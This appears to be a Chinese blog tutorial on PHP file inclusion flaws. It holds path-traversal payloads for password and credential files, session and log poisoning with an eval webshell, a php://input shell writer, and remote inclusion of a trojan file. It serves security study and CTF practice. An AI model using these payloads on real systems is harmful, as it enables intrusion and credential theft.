文件包含技术总结

开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。

allow_url_fopen = On(是否允许打开远程文件)

allow_url_include = On(默认关闭,是否允许include/require远程文件)该选项为on便是允许 包含URL 对象文件等。

PHP版本<=5.2 可以使用%00进行截断。(能截断的php版本都小于5.3)

漏洞挖掘payload

Linux

../../../../../../../../etc/passwd      // 账户信息

etc/passwd%00 

....//....//etc/passwd

/etc/shadow      // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

/etc/issue

/etc/group

/etc/hosts

/etc/motd

/etc/mysql/my.cnf

/proc/self/environ

/proc/version

/proc/cmdline

 

Windows

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

 

乌云payload

../../../../../../../../../../etc/passwd

../../../../../../../../../../home/img/odp/log/access_log

./../../../../../../../../etc/passwd%00

../../ierp/bin/prop.xml

http://red.xunlei.com/index.php?id=../test.php%00&r=site/news

pagename=znjl&url=/WEB-INF/web.xml&errpage=/WEB-INF/web.xml

http://**.**.**.**//index.php?index=a&skin=&dataoptimize_html=/../../../favicon.ico

..%2FWEB-INF%2Fweb.xml

../WEB-INF/mvc-servlet.xml

本地包含

包含同目录下的文件

?file=test.txt

目录遍历

?file=./../../test.txt

包含图片马

先上传jpg图片木马,然后本地文件包含,如以下案例:

Session文件包含

前提:

1.seesion存储的位置

2.sesion内容可控

Phpinfo中的session.save_path保存的是Session的存储位置。通过phpinfo的信息获取session.save_path为/var/lib/php。

假设漏洞代码如下所示:

<?php

     session_start();

     $ctfs= $_GET['ctfs'];

     $_SESSION['username']=$ctfs;

?>

可以利用GET型ctfs参数将而已代码写入Session文件中,然后再利用文件包含漏洞包含此Session文件,向系统中传入恶意代http://127.0.0.1/test.php?ctfs=<?php phpinfo(); ?>  将php语句写入session中

http://127.0.0.1/test.php?filename=C:\phpStudy\PHPTutorial\tmp\tmp\sess_c3b4faa1f3b28c602c862bdf366fd92c 包含session文件session文件名(真正的文件名默认都有个前缀就是sess_)

本地包含配合apache日志拿shell

apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:http://www.xxx.com/<?php eval([$_POST]);?>则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。

利用/proc/self/environ进行包含

php://input(写入木马)

前提:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0)

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

zip://, bzip2://, zlib://

协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

思路:(也是上传之后包含文件)

先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。

bzip2://协议

使用方法:

compress.bzip2://file.bz2

测试现象:

http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

zlib://协议

使用方法:

compress.zlib://file.gz

测试现象:

http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

远程文件包含

远程文件包含的时候一句话木马后缀不能为php。

需要开启allow_url_include = On

http://127.0.0.1/test.php?filename=http://公网IP/muma.txt

伪协议

Ctf常用

?action=php://filter/read=convert.base64-encode/resource=login.php  (Base64加密)

好文章

https://mp.weixin.qq.com/s/IT6bbaG7zBbnrvcNPYr1_w

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/435010.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

计算机中丢失mfc100u.dll怎么解决,详细解析mfc100u.dll丢失的解决方法

遭遇“无法找到mfc100u.dll”的错误不必过分担忧&#xff0c;这是一个普遍现象。许多用户在启动某些软件或游戏的时候可能会碰到这样的情况。通常&#xff0c;这个错误信息表明你的计算机系统中缺失了一个关键的动态链接库(DLL)文件&#xff0c;它可能会妨碍应用程序的顺利启动…

Linux 驱动开发基础知识—— 具体单板的 LED 驱动程序(五)

个人名片&#xff1a; &#x1f981;作者简介&#xff1a;一名喜欢分享和记录学习的在校大学生 &#x1f42f;个人主页&#xff1a;妄北y &#x1f427;个人QQ&#xff1a;2061314755 &#x1f43b;个人邮箱&#xff1a;2061314755qq.com &#x1f989;个人WeChat&#xff1a;V…

《HelloGitHub》第 94 期

兴趣是最好的老师&#xff0c;HelloGitHub 让你对编程感兴趣&#xff01; 简介 HelloGitHub 分享 GitHub 上有趣、入门级的开源项目。 https://github.com/521xueweihan/HelloGitHub 这里有实战项目、入门教程、黑科技、开源书籍、大厂开源项目等&#xff0c;涵盖多种编程语言 …

推荐一款第三方的日历框架------CalendarView

简介 Android上一个优雅、高度自定义、性能高效的日历控件&#xff0c;完美支持周视图&#xff0c;支持标记、自定义颜色、农历等&#xff0c;任意控制月视图显示、任意日期拦截条件、自定义周起始等。Canvas绘制&#xff0c;极速性能、占用内存低&#xff0c;支持简单定制即可…

STL容器大总结区分(上)

如图所示 ,按大小说明其重要性 那就先说两个最重要的: vector---数组 list-----链表 vector 基本概念 功能&#xff1a; vector 数据结构和 数组非常 相似 &#xff0c;也称为 单端数组 vector 与普通数组区别&#xff1a; 不同之处在于数组是静态空间&…

HarmonyOS漫谈---套壳安卓还是套壳苹果?HarmonyOS更像谁?

2020年以前华为手机的操作系统是EMUI,这个是在Android基础上扩展而来的,版本和android几乎一致,和市面上其它android手机厂家搭载的系统并无本质不同 2019年5月16日,美国针对华为发起了第一轮制裁。8月华为发布了HarmonyOS1.0,此时还只是主要在IOT设备上使用,智慧屏成为…

贝叶斯增量式跨域适应:少样本 + 跨模态学习 + 知识保留和推断【fundus + OCT】,做视网膜病变

贝叶斯深度学习&#xff1a;增量式少样本学习跨域适应 贝叶斯多目标函数 跨模态学习 fundus OCT&#xff0c;做视网膜病变 核心思想设计网络&#xff1a;寻找分类模型、损失函数实验结果混淆矩阵与注意力图评估 总结 核心思想 论文&#xff1a;https://arxiv.org/pdf/2110.…

paddlepaddle在执行loss.item()的时候,报错an illegal memory access was encountered.

遇到的问题是“an illegal memory access was encountered”&#xff0c;这是一个常见的内存错误。 首先&#xff0c;要确保你的代码中没有其他明显的内存错误&#xff0c;例如&#xff1a; 确保你没有试图访问超出数组边界的元素。确保你没有试图释放已经释放的内存。确保你没…

尚无忧球馆助教系统源码,助教小程序源码,助教源码,陪练系统源码

特色功能&#xff1a; 不同助教服务类型选择 助教申请&#xff0c;接单&#xff0c;陪练师入住&#xff0c;赚取外快 线下场馆入住 设置自己服务 城市代理 分销商入住 优惠券 技术栈&#xff1a;前端uniapp后端thinkphp 独立全开源

C#学习(十一)——Array和Collection

一、集合 集合重要且常用 孤立的数据是没有意义的&#xff0c;集合可以作为大量数据的处理&#xff0c;可进行数据的搜索、迭代、添加、删除。 C#中&#xff0c;所有集合都必须实现ICollection接口&#xff08;数组Array除外&#xff09; 集合说明Array数组&#xff0c;固定长…

网络安全02--负载均衡下的webshell连接

目录 一、环境准备 1.1ubentu虚拟机一台&#xff0c;docker环境&#xff0c;蚁剑 1.2环境压缩包&#xff08;文件已上传资源&#xff09;&#xff1a; 二、开始复原 2.1上传ubentu&#xff1a; 2.2解压缩 2.3版本20没有docker-compose手动下载&#xff0c;包已上传资源 …

第2章-神经网络的数学基础——python深度学习

第2章 神经网络的数学基础 2.1 初识神经网络 我们来看一个具体的神经网络示例&#xff0c;使用 Python 的 Keras 库 来学习手写数字分类。 我们这里要解决的问题是&#xff0c; 将手写数字的灰度图像&#xff08;28 像素28 像素&#xff09;划分到 10 个类别 中&#xff08;0…